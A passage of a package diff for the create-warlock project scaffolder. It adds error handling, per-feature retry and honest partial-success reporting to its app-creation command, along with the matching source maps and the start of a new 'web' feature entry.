AC,QAClB,MAAM,IAAI,MAAM,4BAA4B,eAAe,EAAE;CAG/D,MAAM,WAAW,IAAI,YAAY,CAAC;CAClC,MAAM,cAAc,IAAI,MAAM,CAAC;CAE/B,MAAM,cAAc,kBAAkB;CACtC,MAAM,cAAc,CAAC,GAAG,UAAU,GAAG,WAAW,CAAC,CAAC,QAChD,QAAO,CAAC,YAAY,SAAS,GAAG,CAClC;CAEA,IAAI,YAAY,SAAS,GACvB,MAAM,IAAI,MAAM,uBAAuB,YAAY,KAAK,GAAG,GAAG;CAGhE,OAAO;EACL;EACA,cAAc,QAAQ,eAAe;EACrC;EACA;EACA,QAAQ,IAAI,OAAO;EACnB,QAAQ,IAAI,OAAO;CACrB;AACF;;;;;;;AAQA,eAAe,qBAAqB,KAAe;CACjD,MAAM,WAAW,IAAI,QAAQ,GAAE,CAAE,KAAK;CAEtC,IAAI,CAAC,SAAS;EACZ,OAAO,iEAAiE;EACxE,QAAQ,KAAK,CAAC;CAChB;CAEA,MAAM,UAAU,WAAW,OAAO;CAElC,IAAI,CAAC,SAAS;CAEd,MAAM,sBAAsB;CAE5B,MAAM,iBAAiB,IAAI,MAAM,2BAA2B;CAE5D,IAAI,CAAC,sBAAsB,cAAc,GAAG;EAC1C,OACE,4BAA4B,eAAe,uBAAuB,yBAAyB,KAAK,IAAI,GACtG;EACA,QAAQ,KAAK,CAAC;CAChB;CAEA,kBAAkB,cAAc;CAEhC,IAAI;CAEJ,IAAI;EACF,UAAU,6BAA6B,GAAG;CAC5C,SAAS,OAAO;EACd,OAAQ,MAAgB,OAAO;EAC/B,QAAQ,KAAK,CAAC;CAChB;CAUA,MAAM,SAAS;EAPb;EACA,SAAS;EACT;EACA,YAAY,kBAAkB;EAC9B;CAGsB,CAAC;AAC3B"}

package/esm/commands/create-warlock-app/index.mjs

@@ -1,60 +1,166 @@
 import { getDatabaseLabel, isNoDatabase } from "../../features/database-drivers.mjs";
+import { takeLastCommandOutput } from "../../helpers/exec.mjs";
 import { getPackageManager, runPackageManagerCommand } from "../../helpers/package-manager.mjs";
+import { resolveWarlockVersions } from "../../helpers/warlock-versions.mjs";
 import { showSuccessScreen } from "../../ui/banner.mjs";
+import { failFatally, installFailureHints, showNotes, showPartialScreen, showProblems } from "../../ui/report.mjs";
 import { spinnerMessages } from "../../ui/spinners.mjs";
 import { spinner } from "@clack/prompts";
 
 //#region ../create-warlock/src/commands/create-warlock-app/index.ts
+/** One-line "why did this fail" pulled out of a captured command. */
+function reasonFrom(result) {
+	if (!result) return "the command reported a failure (no output captured)";
+	if (result.error) return result.error.message || String(result.error);
+	const lastLine = `${result.stderr}\n${result.stdout}`.split(/\r?\n/).map((line) => line.trim()).filter(Boolean).pop();
+	const status = result.code === null ? `killed by ${result.signal ?? "an unknown signal"}` : `exit code ${result.code}`;
+	return lastLine ? `${status} — ${lastLine}` : status;
+}
 async function createWarlockApp(application) {
 	const { useGit, useJWT, features, aiProviders, databaseDriver } = application.options;
 	const noDatabase = isNoDatabase(databaseDriver);
+	const problems = [];
+	const { versions, notes } = await resolveWarlockVersions();
 	const templateSpinner = spinner();
 	templateSpinner.start(spinnerMessages.copyingTemplate);
-	application.init().use("warlock").updatePackageJson().updateDotEnv();
-	if (noDatabase) application.removeDatabaseConfig();
-	else application.configureDatabaseEnv(databaseDriver);
-	application.configureHomePage(features.includes("react"));
+	try {
+		application.init().use("warlock").updatePackageJson(versions).updateDotEnv();
+		if (noDatabase) application.removeDatabaseConfig();
+		else application.configureDatabaseEnv(databaseDriver);
+		application.configureHomePage(features.includes("react"));
+	} catch (error) {
+		templateSpinner.stop(spinnerMessages.templateFailed);
+		failFatally({
+			step: "Template copy",
+			detail: `The project files could not be written: ${error.message}`,
+			hints: ["Check that the target directory is writable and that no file is locked by another process."]
+		});
+	}
 	templateSpinner.stop(spinnerMessages.templateCopied);
+	showNotes(notes);
 	const installSpinner = spinner();
 	installSpinner.start(spinnerMessages.installingDeps);
-	await application.install().install;
+	const baseInstall = application.install();
+	const baseInstalled = await baseInstall.install;
+	const baseInstallResult = await baseInstall.result;
+	if (!baseInstalled) {
+		installSpinner.stop(spinnerMessages.depsFailed);
+		failFatally({
+			step: "Dependency install",
+			detail: "The project's dependencies were not installed.",
+			result: baseInstallResult,
+			hints: installFailureHints(baseInstallResult)
+		});
+	}
 	installSpinner.stop(spinnerMessages.depsInstalled);
 	const selectedFeatures = [
 		...noDatabase ? [] : [databaseDriver],
 		...features,
 		...aiProviders
 	];
+	const failedFeatures = [];
 	if (selectedFeatures.length > 0) {
 		const featuresSpinner = spinner();
 		featuresSpinner.start(spinnerMessages.addingFeatures);
-		if (await application.installFeatures(selectedFeatures)) {
-			await application.install().install;
-			featuresSpinner.stop(spinnerMessages.featuresAdded);
-		} else featuresSpinner.stop(spinnerMessages.featuresFailed);
+		let addedFeatures = selectedFeatures;
+		if (!await application.installFeatures(selectedFeatures)) {
+			const batchFailure = takeLastCommandOutput();
+			addedFeatures = [];
+			for (const feature of selectedFeatures) if (await application.installFeatures([feature])) addedFeatures.push(feature);
+			else failedFeatures.push({
+				feature,
+				reason: reasonFrom(takeLastCommandOutput() ?? batchFailure)
+			});
+		}
+		let featureInstall;
+		if (addedFeatures.length > 0) {
+			const install = application.install();
+			const installed = await install.install;
+			featureInstall = await install.result;
+			if (!installed) {
+				const reason = `their packages were not installed (${reasonFrom(featureInstall)})`;
+				for (const feature of addedFeatures) failedFeatures.push({
+					feature,
+					reason
+				});
+				addedFeatures = [];
+			}
+		}
+		if (failedFeatures.length === 0) featuresSpinner.stop(spinnerMessages.featuresAdded);
+		else {
+			featuresSpinner.stop(addedFeatures.length > 0 ? spinnerMessages.featuresPartial : spinnerMessages.featuresFailed);
+			problems.push({
+				step: "Features",
+				detail: failedFeatures.map(({ feature, reason }) => `${feature}: ${reason}`).join("\n     "),
+				result: featureInstall?.ok === false ? featureInstall : void 0,
+				hints: [`Retry inside the project with: npx warlock add ${failedFeatures.map(({ feature }) => feature).join(" ")}`]
+			});
+		}
 	}
 	if (useGit) {
 		const gitSpinner = spinner();
 		gitSpinner.start(spinnerMessages.initializingGit);
-		await application.git();
-		gitSpinner.stop(spinnerMessages.gitInitialized);
+		const initialized = await application.git();
+		gitSpinner.stop(initialized ? spinnerMessages.gitInitialized : spinnerMessages.gitFailed);
+		if (!initialized) {
+			const failure = takeLastCommandOutput();
+			problems.push({
+				step: "Git repository",
+				detail: `The repository was not initialized: ${reasonFrom(failure)}`,
+				result: failure,
+				hints: ["Check that git is installed and that user.name / user.email are configured, then run `git init` yourself."]
+			});
+		}
 	}
 	if (useJWT) {
 		const jwtSpinner = spinner();
 		jwtSpinner.start(spinnerMessages.generatingJwt);
-		await application.exec(runPackageManagerCommand("jwt"));
-		jwtSpinner.stop(spinnerMessages.jwtGenerated);
+		const command = runPackageManagerCommand("jwt");
+		const generated = await application.exec(command);
+		jwtSpinner.stop(generated ? spinnerMessages.jwtGenerated : spinnerMessages.jwtFailed);
+		if (!generated) {
+			const failure = takeLastCommandOutput();
+			problems.push({
+				step: "JWT secrets",
+				detail: `No JWT secrets were written to .env: ${reasonFrom(failure)}`,
+				result: failure,
+				hints: [`Run \`${command}\` inside the project before starting it.`]
+			});
+		}
 	} else {
 		const warmSpinner = spinner();
 		warmSpinner.start(spinnerMessages.warmingCache);
-		await application.exec("npx warlock --warm-cache");
-		warmSpinner.stop(spinnerMessages.cacheWarmed);
+		const warmed = await application.exec("npx warlock --warm-cache");
+		warmSpinner.stop(warmed ? spinnerMessages.cacheWarmed : spinnerMessages.cacheWarmFailed);
+		if (!warmed) takeLastCommandOutput();
+	}
+	const requestedFeatures = [...features, ...aiProviders];
+	const missingFeatures = failedFeatures.map(({ feature }) => feature).filter((feature) => requestedFeatures.includes(feature));
+	const installedFeatures = requestedFeatures.filter((feature) => !missingFeatures.includes(feature));
+	if (problems.length > 0) {
+		showProblems(problems);
+		showPartialScreen({
+			projectName: application.name,
+			database: getDatabaseLabel(databaseDriver),
+			features: installedFeatures,
+			missingFeatures,
+			packageManager: getPackageManager()
+		});
+		return {
+			ok: false,
+			problems
+		};
 	}
 	showSuccessScreen({
 		projectName: application.name,
 		database: getDatabaseLabel(databaseDriver),
-		features: [...features, ...aiProviders],
+		features: installedFeatures,
 		packageManager: getPackageManager()
 	});
+	return {
+		ok: true,
+		problems
+	};
 }
 
 //#endregion

package/esm/commands/create-warlock-app/index.mjs.map

@@ -1 +1 @@
-{"version":3,"file":"index.mjs","names":[],"sources":["../../../../../../../create-warlock/src/commands/create-warlock-app/index.ts"],"sourcesContent":["import { spinner } from \"@clack/prompts\";\r\nimport {\r\n  getDatabaseLabel,\r\n  isNoDatabase,\r\n} from \"../../features/database-drivers\";\r\nimport { App } from \"../../helpers/app\";\r\nimport {\r\n  getPackageManager,\r\n  runPackageManagerCommand,\r\n} from \"../../helpers/package-manager\";\r\nimport { showSuccessScreen } from \"../../ui/banner\";\r\nimport { spinnerMessages } from \"../../ui/spinners\";\r\n\r\nexport async function createWarlockApp(application: App) {\r\n  const options = application.options;\r\n  const { useGit, useJWT, features, aiProviders, databaseDriver } = options;\r\n  const noDatabase = isNoDatabase(databaseDriver);\r\n\r\n  // Step 1: Initialize and copy template\r\n  const templateSpinner = spinner();\r\n  templateSpinner.start(spinnerMessages.copyingTemplate);\r\n\r\n  application\r\n    .init()\r\n    .use(\"warlock\")\r\n    .updatePackageJson()\r\n    .updateDotEnv();\r\n\r\n  // Wire the chosen database driver into .env — or, when the user opted out,\r\n  // strip the database config entirely so the app boots with no database.\r\n  if (noDatabase) {\r\n    application.removeDatabaseConfig();\r\n  } else {\r\n    application.configureDatabaseEnv(databaseDriver);\r\n  }\r\n\r\n  application.configureHomePage(features.includes(\"react\"));\r\n\r\n  templateSpinner.stop(spinnerMessages.templateCopied);\r\n\r\n  // Step 2: Install base dependencies (so the `warlock` binary is available)\r\n  const installSpinner = spinner();\r\n  installSpinner.start(spinnerMessages.installingDeps);\r\n\r\n  await application.install().install;\r\n\r\n  installSpinner.stop(spinnerMessages.depsInstalled);\r\n\r\n  // Step 3: Add features via `warlock add --no-install`, then one batched install.\r\n  // The DB driver, optional features, and AI providers all go through the single\r\n  // source of truth (core's feature map) so versions never drift. When no\r\n  // database was chosen, the driver is omitted (there is no `none` feature).\r\n  const selectedFeatures = [\r\n    ...(noDatabase ? [] : [databaseDriver]),\r\n    ...features,\r\n    ...aiProviders,\r\n  ];\r\n\r\n  if (selectedFeatures.length > 0) {\r\n    const featuresSpinner = spinner();\r\n    featuresSpinner.start(spinnerMessages.addingFeatures);\r\n\r\n    const added = await application.installFeatures(selectedFeatures);\r\n\r\n    if (added) {\r\n      await application.install().install;\r\n      featuresSpinner.stop(spinnerMessages.featuresAdded);\r\n    } else {\r\n      featuresSpinner.stop(spinnerMessages.featuresFailed);\r\n    }\r\n  }\r\n\r\n  // Step 4: Initialize Git repository if requested\r\n  if (useGit) {\r\n    const gitSpinner = spinner();\r\n    gitSpinner.start(spinnerMessages.initializingGit);\r\n\r\n    await application.git();\r\n\r\n    gitSpinner.stop(spinnerMessages.gitInitialized);\r\n  }\r\n\r\n  // Step 5: Generate JWT or warm cache\r\n  if (useJWT) {\r\n    const jwtSpinner = spinner();\r\n    jwtSpinner.start(spinnerMessages.generatingJwt);\r\n\r\n    await application.exec(runPackageManagerCommand(\"jwt\"));\r\n\r\n    jwtSpinner.stop(spinnerMessages.jwtGenerated);\r\n  } else {\r\n    const warmSpinner = spinner();\r\n    warmSpinner.start(spinnerMessages.warmingCache);\r\n\r\n    await application.exec(\"npx warlock --warm-cache\");\r\n\r\n    warmSpinner.stop(spinnerMessages.cacheWarmed);\r\n  }\r\n\r\n  // Step 6: Show success screen\r\n  showSuccessScreen({\r\n    projectName: application.name,\r\n    database: getDatabaseLabel(databaseDriver),\r\n    features: [...features, ...aiProviders],\r\n    packageManager: getPackageManager(),\r\n  });\r\n}\r\n"],"mappings":";;;;;;;AAaA,eAAsB,iBAAiB,aAAkB;CAEvD,MAAM,EAAE,QAAQ,QAAQ,UAAU,aAAa,mBAD/B,YAAY;CAE5B,MAAM,aAAa,aAAa,cAAc;CAG9C,MAAM,kBAAkB,QAAQ;CAChC,gBAAgB,MAAM,gBAAgB,eAAe;CAErD,YACG,KAAK,CAAC,CACN,IAAI,SAAS,CAAC,CACd,kBAAkB,CAAC,CACnB,aAAa;CAIhB,IAAI,YACF,YAAY,qBAAqB;MAEjC,YAAY,qBAAqB,cAAc;CAGjD,YAAY,kBAAkB,SAAS,SAAS,OAAO,CAAC;CAExD,gBAAgB,KAAK,gBAAgB,cAAc;CAGnD,MAAM,iBAAiB,QAAQ;CAC/B,eAAe,MAAM,gBAAgB,cAAc;CAEnD,MAAM,YAAY,QAAQ,CAAC,CAAC;CAE5B,eAAe,KAAK,gBAAgB,aAAa;CAMjD,MAAM,mBAAmB;EACvB,GAAI,aAAa,CAAC,IAAI,CAAC,cAAc;EACrC,GAAG;EACH,GAAG;CACL;CAEA,IAAI,iBAAiB,SAAS,GAAG;EAC/B,MAAM,kBAAkB,QAAQ;EAChC,gBAAgB,MAAM,gBAAgB,cAAc;EAIpD,IAAI,MAFgB,YAAY,gBAAgB,gBAAgB,GAErD;GACT,MAAM,YAAY,QAAQ,CAAC,CAAC;GAC5B,gBAAgB,KAAK,gBAAgB,aAAa;EACpD,OACE,gBAAgB,KAAK,gBAAgB,cAAc;CAEvD;CAGA,IAAI,QAAQ;EACV,MAAM,aAAa,QAAQ;EAC3B,WAAW,MAAM,gBAAgB,eAAe;EAEhD,MAAM,YAAY,IAAI;EAEtB,WAAW,KAAK,gBAAgB,cAAc;CAChD;CAGA,IAAI,QAAQ;EACV,MAAM,aAAa,QAAQ;EAC3B,WAAW,MAAM,gBAAgB,aAAa;EAE9C,MAAM,YAAY,KAAK,yBAAyB,KAAK,CAAC;EAEtD,WAAW,KAAK,gBAAgB,YAAY;CAC9C,OAAO;EACL,MAAM,cAAc,QAAQ;EAC5B,YAAY,MAAM,gBAAgB,YAAY;EAE9C,MAAM,YAAY,KAAK,0BAA0B;EAEjD,YAAY,KAAK,gBAAgB,WAAW;CAC9C;CAGA,kBAAkB;EAChB,aAAa,YAAY;EACzB,UAAU,iBAAiB,cAAc;EACzC,UAAU,CAAC,GAAG,UAAU,GAAG,WAAW;EACtC,gBAAgB,kBAAkB;CACpC,CAAC;AACH"}
+{"version":3,"file":"index.mjs","names":[],"sources":["../../../../../../../create-warlock/src/commands/create-warlock-app/index.ts"],"sourcesContent":["import { spinner } from \"@clack/prompts\";\nimport {\n  getDatabaseLabel,\n  isNoDatabase,\n} from \"../../features/database-drivers\";\nimport { App } from \"../../helpers/app\";\nimport { CommandResult, takeLastCommandOutput } from \"../../helpers/exec\";\nimport {\n  getPackageManager,\n  runPackageManagerCommand,\n} from \"../../helpers/package-manager\";\nimport { resolveWarlockVersions } from \"../../helpers/warlock-versions\";\nimport { showSuccessScreen } from \"../../ui/banner\";\nimport {\n  failFatally,\n  installFailureHints,\n  Problem,\n  showNotes,\n  showPartialScreen,\n  showProblems,\n} from \"../../ui/report\";\nimport { spinnerMessages } from \"../../ui/spinners\";\n\n/**\n * What the scaffold actually achieved. `ok` is false when ANY step the user\n * asked for did not happen; the caller turns that into a non-zero exit code so\n * a script never mistakes a half-built project for a finished one.\n */\nexport type ScaffoldOutcome = {\n  ok: boolean;\n  problems: Problem[];\n};\n\n/** One-line \"why did this fail\" pulled out of a captured command. */\nfunction reasonFrom(result: CommandResult | undefined): string {\n  if (!result) return \"the command reported a failure (no output captured)\";\n\n  if (result.error) {\n    return result.error.message || String(result.error);\n  }\n\n  const lastLine = `${result.stderr}\\n${result.stdout}`\n    .split(/\\r?\\n/)\n    .map(line => line.trim())\n    .filter(Boolean)\n    .pop();\n\n  const status =\n    result.code === null\n      ? `killed by ${result.signal ?? \"an unknown signal\"}`\n      : `exit code ${result.code}`;\n\n  return lastLine ? `${status} — ${lastLine}` : status;\n}\n\nexport async function createWarlockApp(\n  application: App,\n): Promise<ScaffoldOutcome> {\n  const options = application.options;\n  const { useGit, useJWT, features, aiProviders, databaseDriver } = options;\n  const noDatabase = isNoDatabase(databaseDriver);\n  const problems: Problem[] = [];\n\n  // Resolve the versions to pin BEFORE anything is written. The scaffolder's\n  // own version is only used when the registry confirms it exists — see\n  // helpers/warlock-versions.ts for why an unverified pin broke every install.\n  const { versions, notes } = await resolveWarlockVersions();\n\n  // Step 1: Initialize and copy template\n  const templateSpinner = spinner();\n  templateSpinner.start(spinnerMessages.copyingTemplate);\n\n  try {\n    application\n      .init()\n      .use(\"warlock\")\n      .updatePackageJson(versions)\n      .updateDotEnv();\n\n    // Wire the chosen database driver into .env — or, when the user opted out,\n    // strip the database config entirely so the app boots with no database.\n    if (noDatabase) {\n      application.removeDatabaseConfig();\n    } else {\n      application.configureDatabaseEnv(databaseDriver);\n    }\n\n    application.configureHomePage(features.includes(\"react\"));\n  } catch (error) {\n    templateSpinner.stop(spinnerMessages.templateFailed);\n\n    failFatally({\n      step: \"Template copy\",\n      detail: `The project files could not be written: ${(error as Error).message}`,\n      hints: [\n        \"Check that the target directory is writable and that no file is locked by another process.\",\n      ],\n    });\n  }\n\n  templateSpinner.stop(spinnerMessages.templateCopied);\n\n  showNotes(notes);\n\n  // Step 2: Install base dependencies (so the `warlock` binary is available).\n  // Nothing downstream works without this, so a failure ends the run — loudly,\n  // with the command, its exit code and its output.\n  const installSpinner = spinner();\n  installSpinner.start(spinnerMessages.installingDeps);\n\n  const baseInstall = application.install();\n  const baseInstalled = await baseInstall.install;\n  const baseInstallResult = await baseInstall.result;\n\n  if (!baseInstalled) {\n    installSpinner.stop(spinnerMessages.depsFailed);\n\n    failFatally({\n      step: \"Dependency install\",\n      detail: \"The project's dependencies were not installed.\",\n      result: baseInstallResult,\n      hints: installFailureHints(baseInstallResult),\n    });\n  }\n\n  installSpinner.stop(spinnerMessages.depsInstalled);\n\n  // Step 3: Add features via `warlock add --no-install`, then one batched install.\n  // The DB driver, optional features, and AI providers all go through the single\n  // source of truth (core's feature map) so versions never drift. When no\n  // database was chosen, the driver is omitted (there is no `none` feature).\n  const selectedFeatures = [\n    ...(noDatabase ? [] : [databaseDriver]),\n    ...features,\n    ...aiProviders,\n  ];\n\n  // Features the user asked for that are not in the project when we finish.\n  const failedFeatures: { feature: string; reason: string }[] = [];\n\n  if (selectedFeatures.length > 0) {\n    const featuresSpinner = spinner();\n    featuresSpinner.start(spinnerMessages.addingFeatures);\n\n    let addedFeatures = selectedFeatures;\n\n    if (!(await application.installFeatures(selectedFeatures))) {\n      // The batch is all-or-nothing, so it cannot say WHICH feature broke it.\n      // Retry them one at a time: every feature that can be added still gets\n      // added, and every one that cannot gets its own reason.\n      const batchFailure = takeLastCommandOutput();\n\n      addedFeatures = [];\n\n      for (const feature of selectedFeatures) {\n        if (await application.installFeatures([feature])) {\n          addedFeatures.push(feature);\n        } else {\n          failedFeatures.push({\n            feature,\n            reason: reasonFrom(takeLastCommandOutput() ?? batchFailure),\n          });\n        }\n      }\n    }\n\n    let featureInstall: CommandResult | undefined;\n\n    if (addedFeatures.length > 0) {\n      const install = application.install();\n      const installed = await install.install;\n\n      featureInstall = await install.result;\n\n      if (!installed) {\n        // The dependencies were recorded but never fetched — the features are\n        // not usable, so they are failures, not successes.\n        const reason = `their packages were not installed (${reasonFrom(featureInstall)})`;\n\n        for (const feature of addedFeatures) {\n          failedFeatures.push({ feature, reason });\n        }\n\n        addedFeatures = [];\n      }\n    }\n\n    if (failedFeatures.length === 0) {\n      featuresSpinner.stop(spinnerMessages.featuresAdded);\n    } else {\n      featuresSpinner.stop(\n        addedFeatures.length > 0\n          ? spinnerMessages.featuresPartial\n          : spinnerMessages.featuresFailed,\n      );\n\n      problems.push({\n        step: \"Features\",\n        detail: failedFeatures\n          .map(({ feature, reason }) => `${feature}: ${reason}`)\n          .join(\"\\n     \"),\n        result: featureInstall?.ok === false ? featureInstall : undefined,\n        hints: [\n          `Retry inside the project with: npx warlock add ${failedFeatures\n            .map(({ feature }) => feature)\n            .join(\" \")}`,\n        ],\n      });\n    }\n  }\n\n  // Step 4: Initialize Git repository if requested\n  if (useGit) {\n    const gitSpinner = spinner();\n    gitSpinner.start(spinnerMessages.initializingGit);\n\n    const initialized = await application.git();\n\n    gitSpinner.stop(\n      initialized ? spinnerMessages.gitInitialized : spinnerMessages.gitFailed,\n    );\n\n    if (!initialized) {\n      const failure = takeLastCommandOutput();\n\n      problems.push({\n        step: \"Git repository\",\n        detail: `The repository was not initialized: ${reasonFrom(failure)}`,\n        result: failure,\n        hints: [\n          \"Check that git is installed and that user.name / user.email are configured, then run `git init` yourself.\",\n        ],\n      });\n    }\n  }\n\n  // Step 5: Generate JWT or warm cache\n  if (useJWT) {\n    const jwtSpinner = spinner();\n    jwtSpinner.start(spinnerMessages.generatingJwt);\n\n    const command = runPackageManagerCommand(\"jwt\");\n    const generated = await application.exec(command);\n\n    jwtSpinner.stop(\n      generated ? spinnerMessages.jwtGenerated : spinnerMessages.jwtFailed,\n    );\n\n    if (!generated) {\n      const failure = takeLastCommandOutput();\n\n      problems.push({\n        step: \"JWT secrets\",\n        detail: `No JWT secrets were written to .env: ${reasonFrom(failure)}`,\n        result: failure,\n        hints: [`Run \\`${command}\\` inside the project before starting it.`],\n      });\n    }\n  } else {\n    // The warm cache is a start-up optimisation, not something the user asked\n    // for: report it, but it does not make the scaffold a failure.\n    const warmSpinner = spinner();\n    warmSpinner.start(spinnerMessages.warmingCache);\n\n    const warmed = await application.exec(\"npx warlock --warm-cache\");\n\n    warmSpinner.stop(\n      warmed ? spinnerMessages.cacheWarmed : spinnerMessages.cacheWarmFailed,\n    );\n\n    if (!warmed) takeLastCommandOutput();\n  }\n\n  // Step 6: Report what actually happened — the summary may only advertise\n  // features that are really in the project.\n  const requestedFeatures = [...features, ...aiProviders];\n  const missingFeatures = failedFeatures\n    .map(({ feature }) => feature)\n    .filter(feature => requestedFeatures.includes(feature));\n  const installedFeatures = requestedFeatures.filter(\n    feature => !missingFeatures.includes(feature),\n  );\n\n  if (problems.length > 0) {\n    showProblems(problems);\n\n    showPartialScreen({\n      projectName: application.name,\n      database: getDatabaseLabel(databaseDriver),\n      features: installedFeatures,\n      missingFeatures,\n      packageManager: getPackageManager(),\n    });\n\n    return { ok: false, problems };\n  }\n\n  showSuccessScreen({\n    projectName: application.name,\n    database: getDatabaseLabel(databaseDriver),\n    features: installedFeatures,\n    packageManager: getPackageManager(),\n  });\n\n  return { ok: true, problems };\n}\n"],"mappings":"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"}

package/esm/features/features-map.mjs

@@ -11,6 +11,12 @@ const features = [
 		hint: "RBAC permission checks, ABAC policies, and roles — pairs with auth",
 		group: "Auth & Access"
 	},
+	{
+		key: "web",
+		label: "Web (SSR React pages)",
